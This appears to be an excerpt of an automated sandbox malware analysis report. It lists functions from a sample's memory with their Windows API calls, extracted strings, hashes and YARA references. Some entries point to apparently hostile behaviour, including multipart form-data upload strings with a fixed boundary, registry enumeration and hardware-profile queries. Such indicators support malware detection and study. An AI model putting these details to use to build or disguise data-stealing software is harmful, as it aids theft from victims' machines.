Yara matches

Similarity

API ID:
String ID: 9a%^$M%$Screen.png
API String ID: 0-2021954137
Opcode ID: 7ea333df6f5c2910ca2bc4c4f4777871bdb5a703dffbbcdfcf0a34b6d9d0a0f5
Instruction ID: 11fefa64aaa65e2afc3480572e0d96af9cd0f56f536a59b59af3bc8bd9e58722
Opcode Fuzzy Hash: 7ea333df6f5c2910ca2bc4c4f4777871bdb5a703dffbbcdfcf0a34b6d9d0a0f5
Instruction Fuzzy Hash: 4691D8B6E005098ADF248E98888557EB6B4AB9C312F647917E416FB390E37CCF41875B

Function 00402FCC Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 283libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll), ref: 00402FE0
LoadLibraryA.KERNELBASE(my-global-render.dll), ref: 00402FEA

Strings

advapi32.dll, xrefs: 00402FDB
my-global-render.dll, xrefs: 00402FE5

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: advapi32.dll$my-global-render.dll
API String ID: 1029625771-772900288
Opcode ID: 925eec738fb8ed2f48ee2fb466019044b8b010c49f75685c643bb3b93b1091e7
Instruction ID: f2405b5e0aceb9a51e137d87bf907524102569514c3531be8be57496d61f3bc2
Opcode Fuzzy Hash: 925eec738fb8ed2f48ee2fb466019044b8b010c49f75685c643bb3b93b1091e7
Instruction Fuzzy Hash: 6BA1F872D0412A86CF64CE98994527E6E78BB10351F250A3BE915FA3D0C7BCCF41A79B

Function 004338B5 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 200COMMON

Download Yara Rule

Strings

^^4, xrefs: 00433A0A
~rjz, xrefs: 0043399A
^^4, xrefs: 004339F5

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID: ^^4$^^4$~rjz
API String ID: 0-2511145224
Opcode ID: e0c7894fc243b6b43147b7a10468ae5ae2dedb06c2c8e31032a7761496933ed1
Instruction ID: fe384b451c266d20576388885646b2b98754c57df49fd09348afa64f247ec54d
Opcode Fuzzy Hash: e0c7894fc243b6b43147b7a10468ae5ae2dedb06c2c8e31032a7761496933ed1
Instruction Fuzzy Hash: 9E618C72E0011947EF287D4888855BEB7919B88B1AF342927F115FB391C76C8F4D974B

Function 00453B82 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 140timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNELBASE(00000000,00000000,00000000,00454058,004170BE,?), ref: 00453C36

Part of subcall function 00453203: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,0045769E,?,00000000,-00000008), ref: 004532AF

Strings

Eastern Standard Time, xrefs: 00453CCF
Eastern Summer Time, xrefs: 00453CE3

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: ByteCharInformationMultiTimeWideZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 1123094072-239921721
Opcode ID: caf58cafb60ec3060b2a5cf257d1c9c7a73c601415e76bdfbbd359845a8db1e6
Instruction ID: af1a61733d26d89116c9bb65ccd9636383a7b5e966e3c510a6c9de8ec0de26fa
Opcode Fuzzy Hash: caf58cafb60ec3060b2a5cf257d1c9c7a73c601415e76bdfbbd359845a8db1e6
Instruction Fuzzy Hash: FC4199B2D00115BBDB106FA6DC46A5ABF78EF04396F10406BFD04A7162E7789F148B99

Function 004439BA Relevance: 4.5, APIs: 3, Instructions: 15COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0044387B,?,00443A9B,00000000,?,?,0044387B,8F497764,?,0044387B), ref: 004439CB
TerminateProcess.KERNEL32(00000000,?,00443A9B,00000000,?,?,0044387B,8F497764,?,0044387B), ref: 004439D2
ExitProcess.KERNEL32 ref: 004439E4

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 781b962f5f028f3a025d91418773fc66c46a7b9eca303b4a2ef1248f55b92173
Instruction ID: af00403c123718aebf8df8255158ed5eb80799a0d3dec5c869f97e29736db2e2
Opcode Fuzzy Hash: 781b962f5f028f3a025d91418773fc66c46a7b9eca303b4a2ef1248f55b92173
Instruction Fuzzy Hash: 7ED09E71404115BBEF113F61DC0E9593F2AAF40787B144029F90596132DFF59E51DB99

Function 0041D057 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32(00000000,?,?,0041A650), ref: 0041D07D

Strings

advapi32.dll, xrefs: 0041D06A

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: CurrentProfile
String ID: advapi32.dll
API String ID: 2104809126-4050573280
Opcode ID: 47e41008aad65778580e0c35056873463c47f4eed791b1223cc5fbeb135fea17
Instruction ID: 6db1735cda00ed3d220bfaf1cacc4b3e5e01bff1461a9ef13bbd23f8b442f0e3
Opcode Fuzzy Hash: 47e41008aad65778580e0c35056873463c47f4eed791b1223cc5fbeb135fea17
Instruction Fuzzy Hash: 9BF0E9F3D4013126F61025AA5C01ABB7E888B46729F140177FD0CE6281E21E9D8242EA

Function 0044E224 Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00447A98,00426F52,?,?), ref: 0044E23A
GetLastError.KERNEL32(?,?,00447A98,00426F52,?,?), ref: 0044E245

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 5ab3d534c7926ab7bd1f653ef6df7c72235af480dfd0cba9c2c881dd6ec4968b
Instruction ID: f015b3b87cbc766378ce5f0d68a15eb43446f93644205f51174f0ce78f182e30
Opcode Fuzzy Hash: 5ab3d534c7926ab7bd1f653ef6df7c72235af480dfd0cba9c2c881dd6ec4968b
Instruction Fuzzy Hash: 3AE08631100214ABEF112BA2AD0AB5A3B9CBF80355F104065F60896161EBB88850C7DD

Function 02330E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02330223,?,?), ref: 02330E19
SetErrorMode.KERNELBASE(00000000,?,?,02330223,?,?), ref: 02330E1E

Memory Dump Source

Source File: 00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp, Offset: 02330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2330000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 14945b82f04acc9c5ca6033de40102e9104dd1cbd9b006f498a6056a38369535
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 07D01232245228B7DB013A94DC09BCEBB5CDF09BA6F008021FB0DE9080CBB09A4046EA

Function 00418BA2 Relevance: 1.8, APIs: 1, Instructions: 313COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00418BDF

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 4e1718403e1c9f4dc854db183ebccdab995ea214547ce8d1c5d4ce7d2dfc11b0
Instruction ID: 1d70213f864448114667fa93143398f689e43ce09380febb34e55b8e9c3c6d32
Opcode Fuzzy Hash: 4e1718403e1c9f4dc854db183ebccdab995ea214547ce8d1c5d4ce7d2dfc11b0
Instruction Fuzzy Hash: AEC1ECB1A05B009FD724CF29C88166BFBE5FF88314F14892EE5AA83750E774E845CB56

Function 0044CFE0 Relevance: 1.6, APIs: 1, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a8d065c2e7d1e5bd55c3a73d0c85b8c9c2db864d3e8117d795f012447403357
Instruction ID: 373710123005f16d466fbf61102d91235a16be84b9ed3eb2ab6254e0a7e141d7
Opcode Fuzzy Hash: 0a8d065c2e7d1e5bd55c3a73d0c85b8c9c2db864d3e8117d795f012447403357
Instruction Fuzzy Hash: B6016D33B001145FBF11CE69EC4595B3796EBC1328B244132F904CB185FB39CC028389

Function 0045699F Relevance: 1.5, APIs: 1, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0044EB6F: RtlAllocateHeap.NTDLL(00000000,00426DF1,?,?,00426DF1,?), ref: 0044EBA1

RtlReAllocateHeap.NTDLL(00000000,00000000,00413871,00000000,00000000,00000000,00413871,00000000,00000000,74E2F770,?,0041A136,00001FE6,00003CA7,?,000016E5), ref: 004569FC

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a0eecb7647cd985660cbc4ebe15971cfc3f9a0df64ec6594d00528a4e276af4a
Instruction ID: a5a40cd43560794f83e54c6bbfcb227c9197063c5c667a14a31a2b77de81b9f8
Opcode Fuzzy Hash: a0eecb7647cd985660cbc4ebe15971cfc3f9a0df64ec6594d00528a4e276af4a
Instruction Fuzzy Hash: 80F0C8B110011576AB212A279C01B6B276C9FC1B76F56013FFC1497293EE7C9809C29E

Function 00450330 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0044D36A,00000001,00000364,00000000,00000008,000000FF,?,00447A98,00426F52,?,?), ref: 00450371

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 9d9d3e8b2bef017808805eba958564c636c8c3ec0520770245b5987c827fdf69
Instruction ID: 035a614d3876f6906020b157cdd10206fdefeae5334def747215f66390aa104c
Opcode Fuzzy Hash: 9d9d3e8b2bef017808805eba958564c636c8c3ec0520770245b5987c827fdf69
Instruction Fuzzy Hash: BBF05939200620A7AB205B728C01B6B3758AF81772B044127FC08DA282DA38DC09C6EE

Function 0044EB6F Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00426DF1,?,?,00426DF1,?), ref: 0044EBA1

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 46e01d2afbdcef2c31f25b6f499ced1eedd9cf58f859f57e9987ca3508fff049
Instruction ID: b54a30de40d39881521df567edad888a5efcf5dcf9e065f2953d68bc5b8e4da5
Opcode Fuzzy Hash: 46e01d2afbdcef2c31f25b6f499ced1eedd9cf58f859f57e9987ca3508fff049
Instruction Fuzzy Hash: 3AE0E5212001A56AFA30A767CC01B6B3A4DFF417B8F010037ED47A62D1DBACEC0285AE

Function 008AD815 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 008AD866

Memory Dump Source

Source File: 00000000.00000002.3612871914.00000000008AD000.00000040.00000020.00020000.00000000.sdmp, Offset: 008AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8ad000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 38ccf6585f705871f64701e24b13d9c5f9c8e1573d2553e911edeb3d75141af3
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 13112879A00208EFDB01DF98C985E98BBF5EF08751F0580A4F9489B362D375EA90DB90

Non-executed Functions

Function 0233BA83 Relevance: 42.2, APIs: 5, Strings: 18, Instructions: 1922stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 0233C7E8
lstrlenW.KERNEL32(00001A2F), ref: 0233CB68
lstrlenW.KERNEL32(00001A2F), ref: 0233DA8D

Strings

Y=`, xrefs: 0233D2E4
K2&e, xrefs: 0233C4C9
Ku^%, xrefs: 0233D552
Y[[T, xrefs: 0233BCAE
Ku^%, xrefs: 0233D66E
{#9, xrefs: 0233BBF6
{#9, xrefs: 0233C8F1
Y=`, xrefs: 0233C1CC
Ku^%, xrefs: 0233C0FA
"B!H, xrefs: 0233C285
bi, xrefs: 0233BF40
Ku^%, xrefs: 0233BFB1
Ku^%, xrefs: 0233D45C
L2&e, xrefs: 0233D262
Ku^%, xrefs: 0233D9EC
Ku^%, xrefs: 0233C74A
L2&e, xrefs: 0233CCE4
"B!H, xrefs: 0233CF92

Memory Dump Source

Source File: 00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp, Offset: 02330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2330000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: "B!H$"B!H$K2&e$Ku^%$Ku^%$Ku^%$Ku^%$Ku^%$Ku^%$Ku^%$L2&e$L2&e$Y[[T$bi${#9${#9$Y=`$Y=`
API String ID: 1659193697-3907602706
Opcode ID: b550c6edbfc739eb8f81f84309a248c2000b550dd3d445275482cde3558858bf
Instruction ID: 061f2e9c6992cadd8bb6edb3a7c72a9665a9c38d2bc4fcde0046632fbb5de356
Opcode Fuzzy Hash: b550c6edbfc739eb8f81f84309a248c2000b550dd3d445275482cde3558858bf
Instruction Fuzzy Hash: F5F208B1D0061E8BDF268F58C9456BEBBB5AB05718F24052BE506FB391E774CB40CB92

Function 0041B251 Relevance: 28.9, APIs: 6, Strings: 10, Instructions: 942COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0041B77B
_strlen.LIBCMT ref: 0041BA1C
_strlen.LIBCMT ref: 0041C1E5
_strlen.LIBCMT ref: 0041C1FD

Strings

Content-Type: attachment/x-object, xrefs: 0041B8FA
ame=, xrefs: 0041B87B
^^4, xrefs: 0041B7EA
ilen, xrefs: 0041B883
A@6e, xrefs: 0041B516
Content-Disposition: form-data; name=", xrefs: 0041C185
SqDe87817huf871793q74, xrefs: 0041BCD2
^^4, xrefs: 0041BDB0
A@6e, xrefs: 0041C0F4
RY30, xrefs: 0041B48D

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: Content-Disposition: form-data; name="$A@6e$A@6e$Content-Type: attachment/x-object$RY30$SqDe87817huf871793q74$^^4$^^4$ame=$ilen
API String ID: 4218353326-1595699696
Opcode ID: 7907d723524d677c7fba307958eceda359f7f54ff42f453c8872ada657c95bff
Instruction ID: 2d689a8b6144ae040ff6817911910587bd341415a88b77611baba4cffa878017
Opcode Fuzzy Hash: 7907d723524d677c7fba307958eceda359f7f54ff42f453c8872ada657c95bff
Instruction Fuzzy Hash: EC72A771D442198BDF18CF98D9855FEBBB0EB14314F24056BE915EB360E3788A858BCB

Function 023642E7 Relevance: 25.4, APIs: 7, Strings: 7, Instructions: 872registryCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 02364942
RegEnumKeyExW.ADVAPI32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000001), ref: 0236498C
RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00020019,?,00000001), ref: 0236500C

Strings

TT4, xrefs: 023647AA
$jRk, xrefs: 023647DF
?, xrefs: 02364B7C
y_B>, xrefs: 023648A1
y_B>, xrefs: 0236499F
$jRk, xrefs: 02364D6D
TT4, xrefs: 02364ED8

Memory Dump Source

Source File: 00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp, Offset: 02330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2330000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: EnumOpenwsprintf
String ID: $jRk$$jRk$?$TT4$TT4$y_B>$y_B>
API String ID: 934838074-1833258458
Opcode ID: 3b54bece40eef002e0db5d64569429b679c5c83022a00990b2c8552d4bb31e81
Instruction ID: 19feb013a6cf79eff8d439eebe8dd6630f6f5f91c1dacc54ec829864038a82b4
Opcode Fuzzy Hash: 3b54bece40eef002e0db5d64569429b679c5c83022a00990b2c8552d4bb31e81
Instruction Fuzzy Hash: E8624CB1D0021A8BCF34CB98D88C6BDBABDAB14714F24C626D645EB359D374CA51CBD2

Function 00434FAC Relevance: 22.0, APIs: 3, Strings: 9, Instructions: 1008COMMON

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 0043532D

Strings

$jRk, xrefs: 004356F3
TT4, xrefs: 004360B7
3Z@, xrefs: 00434FB8, 00435953, 00435970, 00435B7E
TT4, xrefs: 004356AE
y_B>, xrefs: 00435D88
y_B>, xrefs: 0043534C
x_B>, xrefs: 00435341
$jRk, xrefs: 004355D5
576xed, xrefs: 0043596B, 00435A57, 00435B79, 00435D50

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: _strncpy
String ID: $jRk$$jRk$3Z@$576xed$TT4$TT4$x_B>$y_B>$y_B>
API String ID: 2961919466-3812700333
Opcode ID: 736beb57220df515d506b056ccd7fd11a59d56b837410d7613fdb76fd6dde63c
Instruction ID: c1f0278ec094f6be02d202c53d620e15fc525e7d6860b659e372b79efda81f17
Opcode Fuzzy Hash: 736beb57220df515d506b056ccd7fd11a59d56b837410d7613fdb76fd6dde63c
Instruction Fuzzy Hash: 3982DBB1D0051A8BDF28DB68C9451BEB670EB5C310F29662BE505EB360D738DE418B9F

Function 0233E3B5 Relevance: 20.6, Strings: 15, Instructions: 1822COMMON

Download Yara Rule

Strings

Ied|, xrefs: 0233FAA4
u2B, xrefs: 0233EB05
n_v, xrefs: 0233F2A7
!t8, xrefs: 0233E90B
(lu, xrefs: 0233E994
"t8, xrefs: 0233E916
)lu, xrefs: 0233F127
Pz#, xrefs: 0233E806
v2B, xrefs: 0233EAFB
Ied|, xrefs: 0233E9B5
Pz#, xrefs: 0233F83B
)lu, xrefs: 0233F29C
"t8, xrefs: 0233F88A
v2B, xrefs: 0233F3BF
n_v, xrefs: 02340079

Memory Dump Source

Source File: 00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp, Offset: 02330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2330000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID: !t8$"t8$"t8$(lu$)lu$)lu$Ied|$Ied|$Pz#$Pz#$n_v$n_v$u2B$v2B$v2B
API String ID: 0-3549259986
Opcode ID: a0ad07c5876174a456e6ff089356687033de193354f657ccdd22f267db1287ce
Instruction ID: 3c731e79af0a7bf0a604628639f1c40d542e5cd86105cca68e770fcb4dd532d8
Opcode Fuzzy Hash: a0ad07c5876174a456e6ff089356687033de193354f657ccdd22f267db1287ce
Instruction Fuzzy Hash: DCE208B1E002199BDF29CB98C8856BE7AB5AF40314F14056BF50AFB7A1D774DB40CB92

Function 0041AA49 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 473COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0041ACEB
_strlen.LIBCMT ref: 0041AE2E
_strlen.LIBCMT ref: 0041B216
_strlen.LIBCMT ref: 0041B231

Strings

:[, xrefs: 0041B135
Content-Disposition: form-data; name=", xrefs: 0041B180
SqDe87817huf871793q74, xrefs: 0041AF36
(, xrefs: 0041B178
&, xrefs: 0041B12D

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: Content-Disposition: form-data; name="$ &$($:[$SqDe87817huf871793q74
API String ID: 4218353326-898291561
Opcode ID: f011c9fed8efc87c81c5afbe689e28c72ff5ebee152719aa64aabc7cc97206bc
Instruction ID: fda5cd55cfb9f0796932eaeb7ac8b2d4ab06e0c9493bffbe09938a436643aec3
Opcode Fuzzy Hash: f011c9fed8efc87c81c5afbe689e28c72ff5ebee152719aa64aabc7cc97206bc
Instruction Fuzzy Hash: 7F128DB090560A8BCF18CF58C9901BEBBB1FF54354F24592BE855EB394D7388991CB8B

Function 02365213 Relevance: 18.5, APIs: 2, Strings: 8, Instructions: 1008COMMON

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 02365594

Strings

TT4, xrefs: 0236631E
x_B>, xrefs: 023655A8
mE, xrefs: 023656B2
$jRk, xrefs: 0236583C
$jRk, xrefs: 0236595A
TT4, xrefs: 02365915
y_B>, xrefs: 023655B3
y_B>, xrefs: 02365FEF

Memory Dump Source

Source File: 00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp, Offset: 02330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2330000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: _strncpy
String ID: $jRk$$jRk$TT4$TT4$mE$x_B>$y_B>$y_B>
API String ID: 2961919466-2403683918
Opcode ID: 0fce3017fde26660b2fe1cd63b9b85230b5f86defa1d6f60f2e91c8398972e3b
Instruction ID: 22b096d44901ad24eeef4dc69764f4a0ba606ea3cfa2d06e25c1f3dba60b6422
Opcode Fuzzy Hash: 0fce3017fde26660b2fe1cd63b9b85230b5f86defa1d6f60f2e91c8398972e3b
Instruction Fuzzy Hash: ED8227B1D1021D8BDF24CB98D89D6BDBABCAB04254F64853BD405EB359E334DA80CF96

Function 0040112C Relevance: 12.6, APIs: 3, Strings: 4, Instructions: 335COMMON

Download Yara Rule

Strings

y_B>, xrefs: 0040160E
f3@, xrefs: 00401138
x_B>, xrefs: 004013B9
y_B>, xrefs: 00401977

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID: f3@$x_B>$y_B>$y_B>
API String ID: 0-2758273646
Opcode ID: 4d800e4a8c53861f20154e06e0aaefdbc94ae587142e1632d027028e9bc40389
Instruction ID: 769378b0013e5f891025f4b50e79353ec4a26f3ac52f3a61e025b4fcd72a7191
Opcode Fuzzy Hash: 4d800e4a8c53861f20154e06e0aaefdbc94ae587142e1632d027028e9bc40389
Instruction Fuzzy Hash: 2BC1A1756183019BCB2C8A19C99153EBAE5AB85314F14893FF556EB3F0E338D8419B4B

Function 0043A4FE Relevance: 11.3, APIs: 1, Strings: 5, Instructions: 823COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0043A740

Strings

Y=`, xrefs: 0043A932
Y=`, xrefs: 0043A514
Ku^%, xrefs: 0043AA66
Ju^%, xrefs: 0043A658
Y=`, xrefs: 0043A58A

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: Ju^%$Ku^%$Y=`$Y=`$Y=`
API String ID: 4218353326-1811093487
Opcode ID: cf27e2aad08aa0ad968c1e6dfb0571fb3b005bd4e8b72d189d402ef4653cb86d
Instruction ID: 68bed0c00360ed0a45c1e6ce9cbfc25002c960087630870fd3b76e024578c11c
Opcode Fuzzy Hash: cf27e2aad08aa0ad968c1e6dfb0571fb3b005bd4e8b72d189d402ef4653cb86d
Instruction Fuzzy Hash: D662D3B1D402198BCF24CB98C9856BEBBB0EB18305F24251BD595FB350D33CCA518BAB

Function 00439535 Relevance: 10.9, Strings: 8, Instructions: 905COMMON

Download Yara Rule

Strings

u2B, xrefs: 004397C8
n_v, xrefs: 00439BA2
v2B, xrefs: 004395B9
v2B, xrefs: 004397D3
)lu, xrefs: 00439B97
n_v, xrefs: 0043A492
)lu, xrefs: 004396AC
(lu, xrefs: 00439651

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: (lu$)lu$)lu$n_v$n_v$u2B$v2B$v2B
API String ID: 4218353326-1100714106
Opcode ID: fc83baca781e6038d85ce843f57f52639d84c7305a5e30f3d91329c925e2716a
Instruction ID: a2355ce2209b5258348a648dcbfed05c01f212a34098c733ae6d56c92e88b106
Opcode Fuzzy Hash: fc83baca781e6038d85ce843f57f52639d84c7305a5e30f3d91329c925e2716a
Instruction Fuzzy Hash: 717284B2D001199BCF64CFAC848557EB6B0BB18310F24251BD55AEB351E3B89E91CF9B

Function 00457B30 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00457D14

Strings

1#SNAN, xrefs: 00457C3C
1#IND, xrefs: 00457C35
1#QNAN, xrefs: 00457C43
1#INF, xrefs: 00457C66

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 9df9496146953a9c334645953d65b23cf1161b90a9ddbaf06c4857e78f5672f2
Instruction ID: 851cf4d307f2775529c2b2c48624cd02a74d3cb87db6a9e2c754e45b37c83e55
Opcode Fuzzy Hash: 9df9496146953a9c334645953d65b23cf1161b90a9ddbaf06c4857e78f5672f2
Instruction Fuzzy Hash: C5D23B71E082288FDB65CE24DD407EAB7B5EB44306F1445EBD80DE7241EB78AE898F45

Function 00428334 Relevance: 9.8, Strings: 7, Instructions: 1067COMMON

Download Yara Rule

Strings

y_B>, xrefs: 004285E3
ST4, xrefs: 00428386
q7 C, xrefs: 004292BF
TT4, xrefs: 0042970A
$jRk, xrefs: 0042906E
$jRk, xrefs: 0042848F
q7 C, xrefs: 00428AB7

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID: $jRk$$jRk$ST4$TT4$q7 C$q7 C$y_B>
API String ID: 0-4120928008
Opcode ID: 19062003c26532868454498e227e50f3dc71298f1981b794ebff368204a50fa7
